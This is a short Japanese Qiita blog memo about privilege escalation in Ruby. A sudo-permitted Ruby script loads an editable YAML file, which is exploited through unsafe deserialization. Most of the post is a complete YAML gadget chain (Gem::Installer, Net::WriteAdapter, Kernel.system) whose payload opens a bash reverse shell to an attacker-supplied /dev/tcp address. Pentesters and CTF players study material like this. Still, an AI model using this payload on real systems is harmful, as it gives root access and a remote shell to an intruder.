0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

RubyにおけるPrivilege Escalation(権限昇格)

Last updated at Posted at 2023-04-21

忘備録:Rubyの環境でPrivilege Escalationに出会いました。

Ruby環境のPrivilege Escalationは出会ったことがなかったので記述しておきます。

TL;DR

  • YAMLファイルを利用したrubyをsudoで実行する際に可能

例としてはこのようなコマンド実行が可能な場合があります。

>sudo -l 
(root) NOPASSWD: /usr/bin/ruby sample.rb 

このsample.rbは、sample.ymlを読み込んでいるとします。このsample.ymlは編集可能の状態です。

YAMLファイルは以下のように記述します。

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1'"
         method_id: :resolve

bashの箇所がシェルを実行するコマンドとなります。

実際の実行コマンド等の詳細は以下を参考にしてください。

ハッピーハッキング

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?